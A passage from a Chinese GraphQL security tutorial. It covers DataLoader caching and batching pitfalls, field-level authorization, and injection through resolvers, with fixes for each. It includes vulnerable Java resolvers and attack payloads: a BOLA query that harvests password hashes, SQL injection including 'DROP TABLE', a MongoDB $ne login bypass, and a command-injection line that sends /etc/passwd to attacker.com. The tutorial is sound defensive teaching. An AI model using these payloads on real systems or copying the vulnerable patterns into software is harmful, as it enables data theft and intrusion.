                env.getDataLoader("ordersByUser");

        return loader.load(user.getId());
        // ★ 这里 load() 不会立刻查库,而是"登记一下"
        //   DataLoader 会在攒够一批后(或者当前 tick 结束时)统一发起批量查询
    }
}

@Component
public class OrderResolvers implements GraphQLResolver<Order> {

    public CompletableFuture<List<Item>> getItems(
            Order order, DataFetchingEnvironment env) {

        return env.<Long, List<Item>>getDataLoader("itemsByOrder")
                .load(order.getId());
    }
}

@Component
public class ItemResolvers implements GraphQLResolver<Item> {

    public CompletableFuture<Product> getProduct(
            Item item, DataFetchingEnvironment env) {

        return env.<Long, Product>getDataLoader("productById")
                .load(item.getProductId());
    }
}

效果对比:

指标 修复前(N+1) 修复后(DataLoader)
SQL 次数(查 100 用户 + 订单 + 商品) 2,101 次 4 次
SQL 次数(上面那条 5 层查询) 502,101 次 5 次
响应时间 超时(>60s) ~200ms
数据库连接池 打满 用 1 个

3.5.4 ★ DataLoader 的安全陷阱(面试加分题)

陷阱 1:跨请求缓存导致数据泄露(★ 最严重)

// ❌❌❌ 致命错误:DataLoaderRegistry 做成了【单例】
@Bean
public DataLoaderRegistry dataLoaderRegistry() {   // ← 单例!整个应用共用一个
    DataLoaderRegistry registry = new DataLoaderRegistry();
    registry.register("userById", ...);
    return registry;
}

/**
 * 后果:
 *   DataLoader 的缓存是【内存缓存】,单例意味着缓存【跨请求共享】
 *   
 *   用户 A 请求 → 查了 user:1 → 缓存里有 {1: 张三}
 *   用户 B 请求 → 查 user:1 → 【命中缓存】→ 直接返回张三的数据
 *   
 *   如果 user:1 是敏感数据,而用户 B 本来没权限看 → 越权泄露!
 *   而且数据更新后,缓存不会失效 → 用户看到【旧数据】,且不知道为什么
 */

✅ 正确做法:每个请求一个 Registry

/**
 * ✅ 每个 HTTP 请求创建独立的 DataLoaderRegistry
 */
@Bean
public DataLoaderDispatcherInstrumentation dataLoaderInstrumentation(
        DataLoaderRegistryFactory factory) {
    // ★ 每次执行 GraphQL 查询时,factory 会被调用生成新的 registry
    return new DataLoaderDispatcherInstrumentation(factory);
}

@FunctionalInterface
public interface DataLoaderRegistryFactory {
    DataLoaderRegistry create();
}
/**
 * ★ 更明确的写法:在 Controller 层手动创建并传入
 */
@PostMapping("/graphql")
public CompletableFuture<Map<String, Object>> execute(@RequestBody GraphQLRequest req) {

    // ★ 每个请求 new 一个
    DataLoaderRegistry registry = dataLoaderRegistryFactory.create();

    ExecutionInput input = ExecutionInput.newExecutionInput()
            .query(req.getQuery())
            .operationName(req.getOperationName())
            .variables(req.getVariables())
            .dataLoaderRegistry(registry)          // ← 请求级的
            .context(buildContext(request))
            .build();

    return graphQL.executeAsync(input).thenApply(ExecutionResult::toSpecification);
}

陷阱 2:批量加载没有上限,一条批量 SQL 打死数据库

// ❌ 危险:DataLoader 攒了 10 万个 id,一次 WHERE id IN (10万个id)
DataLoader<String, User> loader = DataLoaderFactory.newDataLoader(ids ->
        CompletableFuture.supplyAsync(() ->
                userRepository.findAllById(ids)));   // ← ids 可能有 10 万个

/**
 * 后果:
 *   SELECT * FROM users WHERE id IN (1,2,3,...,100000);
 *   → SQL 语句 1MB,MySQL 的 max_allowed_packet 可能直接报错
 *   → 即便不报错,一次性返回 10 万行,内存 + 网络全炸
 */

✅ 修复:给批量加载分片(Batching Partition)

/**
 * ✅ 批量加载分片:每批最多 100 个 id
 */
public DataLoader<Long, Product> createProductLoader(ProductRepository repo) {
    return DataLoaderFactory.newDataLoader(
            (Set<Long> ids) -> CompletableFuture.supplyAsync(() -> {
                // ★ 分片:每 100 个一批
                List<Long> idList = new ArrayList<>(ids);
                Map<Long, Product> result = new HashMap<>();

                for (int i = 0; i < idList.size(); i += MAX_BATCH_SIZE) {
                    List<Long> chunk = idList.subList(i,
                            Math.min(i + MAX_BATCH_SIZE, idList.size()));
                    repo.findAllById(chunk).forEach(p -> result.put(p.getId(), p));
                }
                return result;
            }),
            DataLoaderOptions.newOptions()
                    // ★ DataLoader 自带的批量上限(超过就自动分批发)
                    .setMaxBatchSize(100)
                    .build());
}

陷阱 3:DataLoader 的 key 被用作越权通道

/**
 * ⚠️ 注意:DataLoader 只管"批量取数",【不管权限】
 *
 * 场景:
 *   Query.orders(first:100) → 100 个订单 → 每个订单 load("userById", userId)
 *   → 批量查 100 个用户 → 返回给客户端
 *
 *   如果订单里混着别人的 userId(比如通过某种方式构造),
 *   DataLoader 会把那些用户也查出来返回 → 越权
 */

✅ 修复:DataLoader 也要做归属校验

/**
 * ✅ 在批量加载函数里做租户/归属校验
 */
@Bean
public DataLoader<Long, User> secureUserLoader(UserRepository repo) {
    return DataLoaderFactory.newDataLoader(
            (Set<Long> ids, BatchLoaderEnvironment env) ->
                    CompletableFuture.supplyAsync(() -> {
                        // ★ 从 context 取当前租户
                        String tenantId = env.getContext() instanceof Map<?, ?> m
                                ? (String) m.get("tenantId") : null;

                        if (tenantId == null) {
                            log.error("[安全] DataLoader 缺少 tenantId,拒绝批量加载");
                            return Collections.<Long, User>emptyMap();
                        }

                        // ★ SQL 里带上租户条件(★ 关键:在 SQL 层就过滤掉)
                        List<User> users = repo.findByIdInAndTenantId(ids, tenantId);

                        Map<Long, User> map = users.stream()
                                .collect(Collectors.toMap(User::getId, u -> u));

                        // ★ 补齐缺失的 key(DataLoader 要求返回的 key 数量和请求一致)
                        Map<Long, User> result = new HashMap<>();
                        for (Long id : ids) {
                            result.put(id, map.get(id));   // 查不到就是 null,不会泄露
                        }
                        // ★ 记录越权尝试
                        long missing = result.values().stream().filter(Objects::isNull).count();
                        if (missing > 0) {
                            log.warn("[安全] DataLoader 过滤掉 {} 个跨租户 id", missing);
                        }
                        return result;
                    }));
}

3.5.5 DataLoader 安全 Checklist

# 检查项 为什么 优先级
1 每个请求独立的 DataLoaderRegistry 跨请求缓存 = 数据泄露 + 脏读 ★★★
2 setMaxBatchSize 限制批量大小 防 WHERE id IN (10万) ★★★
3 批量加载函数里带租户/归属条件 防越权 ★★★
4 缓存 key 带上分页参数 防不同分页串数据 ★★
5 监控批量大小(P99) 发现异常批量 = 有人在构造深查询 ★★
6 敏感数据考虑 loader.clear(key) 或禁用缓存 防同一请求内读到旧值 ★
7 dispatch() 时机(graphql-java 自动,Node 手动) 忘记 dispatch = 一直不执行 ★★

3.6 字段级授权 —— GraphQL 最容易被忽略的致命缺口

3.6.1 一句话定义 + 为什么 REST 的经验在 GraphQL 里失效

字段级授权(Field-Level Authorization): 授权判断的粒度不是“能不能调这个接口”,而是“能不能看这个字段“。

★ 核心矛盾(面试必考题):

REST 的安全配置长这样:
    .antMatchers("/api/user/**").hasRole("USER")
    .antMatchers("/api/admin/**").hasRole("ADMIN")
    ↑ 单位是【路径】

GraphQL 只有一个路径:/graphql
    .antMatchers("/graphql").hasRole("USER")     ← 只能配这一条
    ↑ 这一条拦住了"游客",但【完全拦不住"普通用户查 admin 字段"】

生活类比(★ 记住这个):

REST 的授权 = 小区门禁:刷一次卡进小区,进去之后所有楼你都能到。

GraphQL 的授权 = 小区门禁还是刷卡进小区, 但进去之后每栋楼、每个楼层、每个房间门口都要再刷一次卡 —— 因为 GraphQL 里,客户端能自己去任何房间。

如果你只做了“小区门禁”(/graphql 的认证), 那任何进来的居民都能进任何房间 —— 包括物业办公室和配电房。

3.6.2 漏洞代码:只在入口做了认证,字段完全裸奔

/**
 * ❌❌❌ 典型漏洞:只在 Controller 做了认证,Resolver 里毫无授权
 */
@Configuration
public class InsecureSecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        return http
                .authorizeHttpRequests(auth -> auth
                        // ❌ 只配了这一条:登录用户就能访问 /graphql
                        //    但 /graphql 里面能查什么,完全没管
                        .requestMatchers("/graphql").authenticated()
                        .anyRequest().permitAll())
                .build();
    }
}
/**
 * ❌ Resolver:直接返回实体,没有任何字段级判断
 */
@Component
public class InsecureUserResolver implements GraphQLQueryResolver {

    @Autowired
    private UserRepository userRepository;

    /**
     * ❌ 任何登录用户都能查任何用户的完整信息
     *    包括 passwordHash、身份证、内部风控分
     */
    public User user(String id) {
        return userRepository.findById(id).orElse(null);
        // ★ 返回的是【完整实体】,GraphQL 会按客户端要什么字段就序列化什么
        //   客户端要 passwordHash,就给 passwordHash
    }

    /**
     * ❌ 任何登录用户都能查所有用户
     */
    public List<User> allUsers(int first) {
        return userRepository.findAll(PageRequest.of(0, first)).getContent();
    }
}
/**
 * ❌ 嵌套字段同样裸奔
 */
@Component
public class InsecureUserFieldResolver implements GraphQLResolver<User> {

    /**
     * ❌ User.internalRiskScore:内部风控分,任何登录用户都能看
     */
    public Integer getInternalRiskScore(User user) {
        return riskService.calculate(user.getId());
    }

    /**
     * ❌ User.orders:可以查【任何人的订单】
     *    攻击者:{ user(id:"1") { orders { id amount address } } }
     *    → 把用户 1 的所有订单和家庭住址全部拖走(BOLA!)
     */
    public List<Order> getOrders(User user) {
        return orderRepository.findByUserId(user.getId());
    }
}

攻击 Payload:

# 普通登录用户(角色 USER)执行:
query {
  # ① 拖走别人的订单(BOLA / IDOR)
  user(id: "1") {
    name
    phone
    orders { id amount address }
  }

  # ② 看内部风控分
  me { internalRiskScore }

  # ③ 看别人的密码哈希
  allUsers(first: 1000) {
    id
    username
    passwordHash      # ★ 拿走去离线撞库
  }
}

# ④ 甚至改别人的角色(如果 Mutation 也没授权)
mutation {
  updateUserRole(id: "1", role: "ADMIN") { success }
}

3.6.3 ★ 四种字段级授权方案(从简单到优雅)

✅ 方案 1:在 Resolver 里手写判断(最直白,但容易漏)

@Component
@Slf4j
public class ManualAuthResolver implements GraphQLResolver<User> {

    @Autowired
    private PermissionService permissionService;

    /**
     * ✅ 手写授权:每个敏感字段都判断一次
     */
    public Integer getInternalRiskScore(User user, DataFetchingEnvironment env) {
        User currentUser = getCurrentUser(env);

        // ★ 只有管理员,或者本人,才能看风控分
        if (!permissionService.isAdmin(currentUser)
                && !currentUser.getId().equals(user.getId())) {
            log.warn("[安全] 越权访问 internalRiskScore,user={} target={}",
                     currentUser.getId(), user.getId());
            return null;    // ★ 或者抛异常,见下面的讨论
        }

        return riskService.calculate(user.getId());
    }

    /**
     * ✅ 订单列表:只能看自己的(管理员除外)
     */
    public List<Order> getOrders(User user, DataFetchingEnvironment env) {
        User currentUser = getCurrentUser(env);

        if (!permissionService.isAdmin(currentUser)
                && !currentUser.getId().equals(user.getId())) {
            throw new AccessDeniedException("无权查看他人订单");
        }

        return orderRepository.findByUserId(user.getId());
    }

    /**
     * ✅ 手机号脱敏:不是本人/管理员就打码
     */
    public String getPhone(User user, DataFetchingEnvironment env) {
        User currentUser = getCurrentUser(env);
        if (permissionService.canSeeFullPhone(currentUser, user)) {
            return user.getPhone();
        }
        return DesensitizeUtil.mobile(user.getPhone());   // 138****8000
    }

    private User getCurrentUser(DataFetchingEnvironment env) {
        return env.getGraphQlContext().get("currentUser");
    }
}

⚠️ 方案 1 的致命缺点: 容易漏。Schema 有 200 个字段,你手写了 150 个,漏了 50 个 —— 攻击者专挑漏的。 而且新增字段时,新人根本不知道“这里要加授权判断”。 所以必须配**方案 3(架构测试)**来兜底。

✅ 方案 2:用 Directive 声明式授权(★ 推荐,最优雅)

思路:在 Schema 里给字段打个标记,授权逻辑由框架统一处理。

# ===== 定义自定义指令 =====
directive @auth(requires: String!) on FIELD_DEFINITION
directive @hasRole(role: String!) on FIELD_DEFINITION
directive @isOwner on FIELD_DEFINITION
directive @adminOnly on FIELD_DEFINITION
directive @sensitive(level: SensitivityLevel!) on FIELD_DEFINITION

enum SensitivityLevel { PUBLIC INTERNAL SECRET PII }

# ===== 在 Schema 里声明 =====
type User {
  id: ID!
  name: String!
  email: String! @isOwner                       # 只有本人能看
  phone: String! @sensitive(level: PII)         # PII,自动脱敏
  passwordHash: String @adminOnly               # ★ 只有管理员(其实应该直接不暴露)
  internalRiskScore: Int @hasRole(role: "RISK_ADMIN")   # 只有风控管理员
  orders: [Order!]! @isOwner                    # 只能看自己的订单
  internalNotes: String @adminOnly
}

type Query {
  allUsers(first: Int!): [User!]! @hasRole(role: "ADMIN")   # 只有管理员能列用户
  me: User
}

Java 实现(SchemaDirectiveWiring):

/**
 * ✅✅✅ 用 Directive 实现字段级授权(★ 推荐方案)
 *
 * 优点:
 *   ① 授权声明【写在 Schema 里】,一眼能看出哪些字段受保护
 *   ② 新增字段时,【必须显式声明】指令,或者被默认策略拦住
 *   ③ 授权逻辑集中在一处,改一处全生效
 */
@Component
@Slf4j
public class AuthDirective implements SchemaDirectiveWiring {

    @Autowired
    private PermissionService permissionService;

    @Override
    public GraphQLFieldDefinition onField(SchemaDirectiveWiringEnvironment<GraphQLFieldDefinition> env) {

        GraphQLFieldDefinition field = env.getElement();
        GraphQLFieldsContainer parentType = env.getFieldsContainer();
        String typeName = parentType.getName();
        String fieldName = field.getName();

        DataFetcher<?> originalFetcher = field.getDataFetcher();

        // ===== ① @adminOnly:只有管理员 =====
        if (hasDirective(env, "adminOnly")) {
            return wrapField(env, field, originalFetcher, (ctx) -> {
                User user = requireLogin(ctx);
                if (!permissionService.isAdmin(user)) {
                    deny(typeName, fieldName, user, "需要管理员权限");
                }
            });
        }

        // ===== ② @hasRole(role:"XXX"):需要指定角色 =====
        GraphQLAppliedDirective roleDir = env.getAppliedDirective("hasRole");
        if (roleDir != null) {
            String requiredRole = roleDir.getArgument("role").getValue().toString();
            return wrapField(env, field, originalFetcher, (ctx) -> {
                User user = requireLogin(ctx);
                if (!permissionService.hasRole(user, requiredRole)) {
                    deny(typeName, fieldName, user, "需要角色 " + requiredRole);
                }
            });
        }

        // ===== ③ @isOwner:只能访问自己的数据(BOLA 防护)=====
        if (hasDirective(env, "isOwner")) {
            return wrapField(env, field, originalFetcher, (ctx) -> {
                User current = requireLogin(ctx);
                Object source = ctx.getSource();       // ★ 父对象(比如 User)
                String ownerId = extractOwnerId(source);

                if (!current.getId().equals(ownerId) && !permissionService.isAdmin(current)) {
                    deny(typeName, fieldName, current,
                         "只能访问自己的数据(当前用户=" + current.getId() + ")");
                }
            });
        }

        // ===== ④ @sensitive(level: PII):自动脱敏 =====
        GraphQLAppliedDirective sensDir = env.getAppliedDirective("sensitive");
        if (sensDir != null) {
            String level = sensDir.getArgument("level").getValue().toString();
            return wrapFieldWithTransform(env, field, originalFetcher, (value, ctx) -> {
                User current = requireLogin(ctx);
                if (permissionService.canSeeSensitive(current, level)) {
                    return value;                      // 有权限,返回原值
                }
                // ★ 无权限:自动脱敏(而不是报错 —— 体验更好,也不泄露"字段存在")
                return desensitize(value, level);
            });
        }

        return field;
    }

    /** 包装 DataFetcher:执行前做授权检查 */
    private GraphQLFieldDefinition wrapField(
            SchemaDirectiveWiringEnvironment<GraphQLFieldDefinition> env,
            GraphQLFieldDefinition field,
            DataFetcher<?> original,
            Consumer<DataFetchingEnvironment> authCheck) {

        DataFetcher<?> secured = (DataFetchingEnvironment dfe) -> {
            authCheck.accept(dfe);          // ★ 先鉴权
            return original.get(dfe);       // 再执行
        };

        return env.setFieldDataFetcher(secured);
    }

    /** 包装 DataFetcher:执行后做结果转换(脱敏) */
    private GraphQLFieldDefinition wrapFieldWithTransform(
            SchemaDirectiveWiringEnvironment<GraphQLFieldDefinition> env,
            GraphQLFieldDefinition field,
            DataFetcher<?> original,
            BiFunction<Object, DataFetchingEnvironment, Object> transformer) {

        DataFetcher<?> secured = (DataFetchingEnvironment dfe) -> {
            Object value = original.get(dfe);
            return transformer.apply(value, dfe);
        };

        return env.setFieldDataFetcher(secured);
    }

    private User requireLogin(DataFetchingEnvironment env) {
        User user = env.getGraphQlContext().get("currentUser");
        if (user == null) {
            throw new GraphQLAuthException("未登录");
        }
        return user;
    }

    private void deny(String type, String field, User user, String reason) {
        log.warn("[安全] 字段级授权拒绝 type={}.{} userId={} reason={}",
                 type, field, user.getId(), reason);
        // ★ 抛异常 vs 返回 null 的选择,见 3.6.4 讨论
        throw new GraphQLForbiddenException(reason);
    }

    private boolean hasDirective(
            SchemaDirectiveWiringEnvironment<GraphQLFieldDefinition> env, String name) {
        return env.getAppliedDirective(name) != null;
    }

    /** 从父对象里提取"归属人 ID"(约定:有 getUserId() 或 getId()) */
    private String extractOwnerId(Object source) {
        if (source == null) return null;
        try {
            Method m = source.getClass().getMethod("getUserId");
            return String.valueOf(m.invoke(source));
        } catch (Exception e1) {
            try {
                Method m = source.getClass().getMethod("getId");
                return String.valueOf(m.invoke(source));
            } catch (Exception e2) {
                log.error("[安全] 无法提取归属人 ID,source={}", source.getClass());
                return null;   // ★ 提取不到就拒绝(默认拒绝)
            }
        }
    }

    /** 按敏感级别脱敏 */
    private Object desensitize(Object value, String level) {
        if (value == null) return null;
        String s = String.valueOf(value);
        return switch (level) {
            case "PII" -> DesensitizeUtil.auto(s);
            case "SECRET" -> "***";
            case "INTERNAL" -> null;
            default -> s;
        };
    }
}

注册 Directive:

@Configuration
public class GraphQLSchemaConfig {

    @Bean
    public GraphQLSchema graphQLSchema(
            ResourceSchemaStringProvider schemaProvider,
            RuntimeWiringConfigurer wiringConfigurer,
            AuthDirective authDirective) {

        TypeDefinitionRegistry registry = schemaProvider.getSchema();
        RuntimeWiring wiring = buildRuntimeWiring(wiringConfigurer);

        return new SchemaGenerator()
                .makeExecutableSchema(
                        SchemaGenerator.Options.defaultOptions()
                                // ★ 注册自定义指令
                                .enforceSchemaDirectives(false),
                        registry,
                        wiring.transform(b -> b
                                .directiveWiring(new AuthDirectiveWiring(authDirective))));
    }
}

/**
 * 指令装配器
 */
class AuthDirectiveWiring implements WiringFactory {
    private final AuthDirective authDirective;

    @Override
    public boolean providesSchemaDirectiveWiring(SchemaDirectiveWiringEnvironment<?> env) {
        return Set.of("adminOnly", "hasRole", "isOwner", "sensitive")
                .contains(env.getDirectiveDefinition().getName());
    }

    @Override
    public SchemaDirectiveWiring getSchemaDirectiveWiring(
            SchemaDirectiveWiringEnvironment<?> env) {
        return authDirective;
    }
}

✅ 方案 3:ArchUnit 架构测试强制每个字段都有保护(★ 防漏写的杀手锏)

核心思想: 手写 Directive 还是会漏。用自动化测试强制“新字段必须声明授权”, 漏了就 CI 挂掉,不让合并。

/**
 * ✅✅✅ 用 ArchUnit 强制:GraphQL Schema 里每个字段都必须有授权声明
 *
 * ★ 这是从"靠人自觉"变成"靠流程保证"的关键一步
 */
@AnalyzeClasses(packages = "com.example.graphql")
class GraphQLSchemaSecurityTest {

    private static GraphQLSchema schema;

    @BeforeAll
    static void loadSchema() throws Exception {
        String sdl = Files.readString(Path.of("src/main/resources/schema.graphqls"));
        schema = new SchemaParser().parse(sdl)
                .transform(b -> b.build())
                .transform(SchemaGenerator::makeExecutableSchema);
    }

    /**
     * ★ 测试 1:所有字段必须至少有一个授权指令(或被显式标记为公开)
     */
    @Test
    @DisplayName("GraphQL 所有字段必须声明授权指令,或显式标记 @public")
    void allFieldsMustHaveAuthDirective() {
        List<String> violations = new ArrayList<>();

        for (GraphQLNamedType type : schema.getAllTypesAsList()) {
            if (type.getName().startsWith("__")) continue;   // 跳过内建类型
            if (!(type instanceof GraphQLObjectType objType)) continue;

            for (GraphQLFieldDefinition field : objType.getFields()) {
                String fullName = objType.getName() + "." + field.getName();

                // 跳过标量字段里的明显安全的(id、name 这类)
                if (isInherentlySafe(field.getName())) {
                    continue;
                }

                boolean hasAuthDirective = field.getAppliedDirectives().stream()
                        .map(d -> d.getName())
                        .anyMatch(n -> Set.of(
                                "adminOnly", "hasRole", "isOwner",
                                "sensitive", "auth", "public").contains(n));

                if (!hasAuthDirective) {
                    violations.add(fullName);
                }
            }
        }

        assertThat(violations)
                .as("以下 GraphQL 字段没有声明任何授权指令,存在越权风险。\n" +
                    "请加上 @adminOnly / @hasRole / @isOwner / @sensitive,\n" +
                    "或显式加 @public 表示这是公开字段(需经过评审):")
                .isEmpty();
    }

    /**
     * ★ 测试 2:敏感字段必须不在"公开"标记里
     */
    @Test
    @DisplayName("敏感字段(password/secret/token/internal)不允许标记为 @public")
    void sensitiveFieldsCannotBePublic() {
        List<String> violations = new ArrayList<>();

        for (GraphQLNamedType type : schema.getAllTypesAsList()) {
            if (!(type instanceof GraphQLObjectType objType)) continue;

            for (GraphQLFieldDefinition field : objType.getFields()) {
                String name = field.getName().toLowerCase();
                boolean isSensitiveName =
                        name.contains("password") || name.contains("secret")
                        || name.contains("token")  || name.contains("internal")
                        || name.contains("private")|| name.contains("credential");

                boolean isPublic = field.getAppliedDirectives().stream()
                        .anyMatch(d -> "public".equals(d.getName()));

                if (isSensitiveName && isPublic) {
                    violations.add(objType.getName() + "." + field.getName());
                }
            }
        }

        assertThat(violations)
                .as("这些敏感字段被标记成了 @public,必须改掉:")
                .isEmpty();
    }

    /**
     * ★ 测试 3:所有 Mutation 必须有授权声明(写操作风险更高)
     */
    @Test
    @DisplayName("所有 Mutation 必须有授权声明")
    void allMutationsMustBeProtected() {
        GraphQLObjectType mutationType = schema.getMutationType();
        assumeTrue(mutationType != null, "Schema 没有 Mutation");

        List<String> unprotected = mutationType.getFields().stream()
                .filter(f -> f.getAppliedDirectives().stream()
                        .map(GraphQLAppliedDirective::getName)
                        .noneMatch(n -> Set.of("adminOnly", "hasRole", "isOwner", "auth")
                                .contains(n)))
                .map(GraphQLFieldDefinition::getName)
                .toList();

        assertThat(unprotected)
                .as("以下 Mutation 没有授权声明,任何人都能调用:")
                .isEmpty();
    }

    /**
     * ★ 测试 4:Schema 中不允许出现这些高危字段
     */
    @Test
    @DisplayName("Schema 中不允许出现 passwordHash / rawSql 等高危字段")
    void noHighRiskFields() {
        Set<String> FORBIDDEN = Set.of(
                "passwordHash", "password", "salt", "rawSql",
                "secretKey", "privateKey", "apiKey", "accessKey",
                "debugInfo", "stackTrace", "internalError");

        List<String> violations = new ArrayList<>();
        for (GraphQLNamedType type : schema.getAllTypesAsList()) {
            if (!(type instanceof GraphQLObjectType objType)) continue;
            for (GraphQLFieldDefinition field : objType.getFields()) {
                if (FORBIDDEN.contains(field.getName())) {
                    violations.add(objType.getName() + "." + field.getName());
                }
            }
        }

        assertThat(violations)
                .as("Schema 中不应该暴露这些字段,请从 Schema 里删除(而不是靠授权挡):")
                .isEmpty();
    }

    /** id、name 这类字段天然安全,不强制要求指令(减少误报) */
    private boolean isInherentlySafe(String fieldName) {
        return Set.of("id", "name", "title", "createdAt", "updatedAt", "status")
                .contains(fieldName);
    }
}

CI 配置(不允许失败):

# .gitlab-ci.yml
graphql-security-test:
  stage: test
  script:
    - mvn test -Dtest=GraphQLSchemaSecurityTest
  allow_failure: false      # ★ 关键:挂了就不让合并
  artifacts:
    when: always
    reports:
      junit: target/surefire-reports/*.xml

✅ 方案 4:返回值过滤(Response Masking) —— 最后一道兜底

思路:不管 Resolver 返回了什么,在序列化成 JSON 之前做一次统一的权限过滤。 这类似第二章讲的 BOPLA 防护(防止“返回整个实体”)。

/**
 * ✅ 返回值过滤:在序列化前统一裁剪(★ 兜底方案)
 *
 * 和 Directive 的区别:
 *   Directive  = "查之前判断"(前置)
 *   返回值过滤 = "返回之前裁剪"(后置)
 *   ★ 后置的好处:不怕 Resolver 里忘写判断,也不怕新增字段漏配
 */
@Component
@Slf4j
public class ResponseMaskingInstrumentation extends SimpleInstrumentation {

    @Autowired
    private FieldPolicyService fieldPolicyService;

    @Override
    public ExecutionResult instrumentExecutionResult(
            ExecutionResult result, InstrumentationExecutionParameters parameters) {

        if (result.getData() == null) {
            return result;
        }

        User currentUser = getCurrentUser(parameters);

        // ★ 递归遍历返回的数据,按策略裁剪
        Object masked = maskValue(result.getData(), currentUser);

        return ExecutionResultImpl.newExecutionResult()
                .from(result)
                .data(masked)
                .build();
    }

    private Object maskValue(Object value, User user) {
        if (value instanceof Map<?, ?> map) {
            Map<String, Object> masked = new LinkedHashMap<>();
            for (Map.Entry<?, ?> e : map.entrySet()) {
                String key = String.valueOf(e.getKey());
                // ★ 该字段当前用户可见吗?
                if (fieldPolicyService.isVisible(key, user)) {
                    masked.put(key, maskValue(e.getValue(), user));
                } else {
                    // 不可见:换成 null(或打码)
                    masked.put(key, null);
                }
            }
            return masked;
        }
        if (value instanceof List<?> list) {
            return list.stream()
                    .map(v -> maskValue(v, user))
                    .toList();
        }
        return value;
    }

    private User getCurrentUser(InstrumentationExecutionParameters parameters) {
        return parameters.getGraphQLContext().get("currentUser");
    }
}

/**
 * 字段可见性策略
 */
@Service
public class FieldPolicyService {

    /**
     * 字段 → 可见该字段所需的最小角色
     * ★ 默认拒绝:不在白名单里的敏感字段,非管理员一律不可见
     */
    private static final Map<String, String> FIELD_MIN_ROLE = Map.of(
            "internalRiskScore", "RISK_ADMIN",
            "internalNotes",     "ADMIN",
            "cost",              "FINANCE",
            "profit",            "FINANCE",
            "margin",            "FINANCE",
            "passwordHash",      "SUPER_ADMIN",
            "secretKey",         "SUPER_ADMIN"
    );

    /** 需要脱敏的 PII 字段 */
    private static final Set<String> PII_FIELDS =
            Set.of("phone", "mobile", "idCard", "bankCard", "address", "email");

    public boolean isVisible(String fieldName, User user) {
        String requiredRole = FIELD_MIN_ROLE.get(fieldName);
        if (requiredRole == null) {
            return true;   // 不在策略表里的字段,默认可见
        }
        if (user == null) {
            return false;
        }
        return user.getRoles().contains(requiredRole)
                || user.getRoles().contains("SUPER_ADMIN");
    }
}

3.6.4 ★ 关键设计决策:越权时该“返回 null”还是“抛异常”?

这是面试的高频追问,两种做法各有适用场景:

做法 优点 缺点 适用场景
抛异常(Forbidden) 开发者能立刻发现问题
客户端能明确知道“没权限”
泄露“该字段存在”(信息泄露)
GraphQL 的部分响应特性会让整个 data 变成 null
Mutation(写操作)
明确的权限边界
返回 null 不泄露字段是否存在
不影响其他字段返回
客户端分不清“没权限”和“本来就是空” 读操作 + 敏感字段
脱敏返回(138****8000) 体验最好,既不泄露也不打断 需要为每种类型写脱敏规则 PII 字段

★ 推荐策略(三档):

① 字段根本不该存在于对外 Schema(passwordHash、secretKey)
   → 【构建期从 Schema 里删掉】,最干净

② 存在但敏感(internalRiskScore、cost、internalNotes)
   → 【返回 null】+ 记审计日志
   (不抛异常,避免泄露"该字段存在")

③ PII(手机号、身份证、地址)
   → 【脱敏返回】+ 记审计日志
   (体验优先,业务上"看不到完整手机号"是合理需求)

④ 整个对象的归属越权(查别人的订单)
   → 【抛异常】或【返回 404】
   (★ 注意:返回 404 而不是 403,避免泄露"该 ID 存在")

3.6.5 字段级授权 Checklist

# 检查项 优先级
1 所有字段显式声明授权指令(或 @public) ★★★
2 ArchUnit 测试强制“新字段必须有声明”,CI 挂掉不让合并 ★★★
3 Mutation 授权要求比 Query 更严格 ★★★
4 嵌套字段(关联对象)也要授权,不是只做入口 ★★★
5 敏感字段从 Schema 里删除,而不是靠授权挡 ★★★
6 PII 字段自动脱敏 ★★★
7 越权访问记审计日志 + 告警 ★★
8 越权时返回 404/null 而不是 403(防存在性泄露) ★★
9 定期用普通用户账号跑一遍全 Schema 字段扫描 ★★

3.7 GraphQL 注入 —— 参数进了下游才是真危险

3.7.1 一句话定义

GraphQL 注入 不是“注入 GraphQL 本身”(GraphQL 有强类型校验,注入不了), 而是:GraphQL 只是一个入口,参数被原样传给了下游(SQL / NoSQL / LDAP / OS 命令 / 模板引擎), 下游没做防护,于是注入发生了。

★ 核心认知(面试必答):

“GraphQL 的强类型和参数校验,只能保证’传进来的参数符合 Schema 声明的类型’, 比如 String 类型的参数不会传进来一个数组或者对象。 但它完全不管参数的内容是什么。

一个 String 类型的参数,内容完全可以是 1' OR '1'='1。 如果 Resolver 拿它去拼 SQL,SQL 注入照常发生。

★ 所以 GraphQL 注入的本质是:开发者误以为’GraphQL 有类型校验就很安全’, 于是放松了下游的防护。这是典型的’虚假安全感’。“

3.7.2 漏洞代码(五种下游注入)

/**
 * ❌❌❌ GraphQL 注入:Resolver 里拼 SQL / 拼命令 / 拼查询
 */
@Component
public class InjectionVulnerableResolver implements GraphQLQueryResolver {

    @Autowired
    private JdbcTemplate jdbc;

    /**
     * ❌ 漏洞 1:SQL 注入(字符串拼接)
     *
     * 攻击 Payload:
     *   { searchUsers(keyword: "x' OR '1'='1") { id name email } }
     *   → SELECT * FROM users WHERE name LIKE '%x' OR '1'='1%'
     *   → 全表数据泄露
     */
    public List<User> searchUsers(String keyword) {
        String sql = "SELECT * FROM users WHERE name LIKE '%" + keyword + "%'";
        return jdbc.query(sql, userRowMapper);
    }

    /**
     * ❌ 漏洞 2:SQL 注入(ORDER BY 无法预编译的位置)
     *
     * 攻击 Payload:
     *   { listUsers(orderBy: "id; DROP TABLE users--") { id } }
     *   { listUsers(orderBy: "(CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN id ELSE name END)") }
     *   ★ 第二个是【盲注】:通过观察排序结果推断数据
     */
    public List<User> listUsers(String orderBy) {
        String sql = "SELECT * FROM users ORDER BY " + orderBy;
        return jdbc.query(sql, userRowMapper);
    }

    /**
     * ❌ 漏洞 3:NoSQL 注入(MongoDB)
     *
     * 攻击 Payload(GraphQL 变量):
     *   { "username": {"$ne": null}, "password": {"$ne": null} }
     *   → 查询条件变成 username != null AND password != null
     *   → 直接登录成功(绕过认证!)
     */
    public User findByUsernameAndPassword(String username, String password) {
        Query query = new Query();
        query.addCriteria(Criteria.where("username").is(username)
                .and("password").is(password));
        return mongoTemplate.findOne(query, User.class);
        // ⚠️ 如果 username 是对象而不是字符串,$ne 这种操作符会被 MongoDB 当指令执行
    }

    /**
     * ❌ 漏洞 4:命令注入
     *
     * 攻击 Payload:
     *   { ping(host: "8.8.8.8; cat /etc/passwd") { output } }
     *   { ping(host: "$(curl attacker.com/$(cat /etc/passwd))") { output } }
     */
    public String ping(String host) {
        Process p = Runtime.getRuntime().exec("ping -c 1 " + host);
        return readOutput(p);
    }

    /**
